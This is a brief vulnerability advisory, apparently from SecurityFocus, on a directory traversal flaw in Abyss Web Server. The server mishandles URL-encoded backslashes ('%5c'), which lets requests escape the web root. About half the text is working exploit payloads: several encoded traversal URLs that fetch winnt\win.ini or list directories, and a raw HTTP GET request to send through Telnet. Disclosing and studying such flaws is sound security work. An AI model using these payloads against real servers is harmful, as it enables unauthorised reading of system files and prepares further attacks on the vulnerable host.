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source: http://www.securityfocus.com/bid/5547/info A directory traversal vulnerability has been reported for Abyss Web Server. The issue is related to the failure to properly process the backslash '\', encoded as '%5c', character, which may be used as a directory delimiter under these platforms. By using the URL encoded sequence '%2e%2e%5c', the web root may be escaped. Exploitation can result in arbitrary system files being sent to a remote attacker. This information may be of value in attempting further attacks against the vulnerable system. This issue is reported to have different effects in a different environments. http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini "GET /\..\..\..\..\..\winnt\win.ini HTTP/1.0" (using a Telnet client) http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/ http://host/%2f%2e%2e%2f http://host/%2f%2e%2e%2fcgi-bin/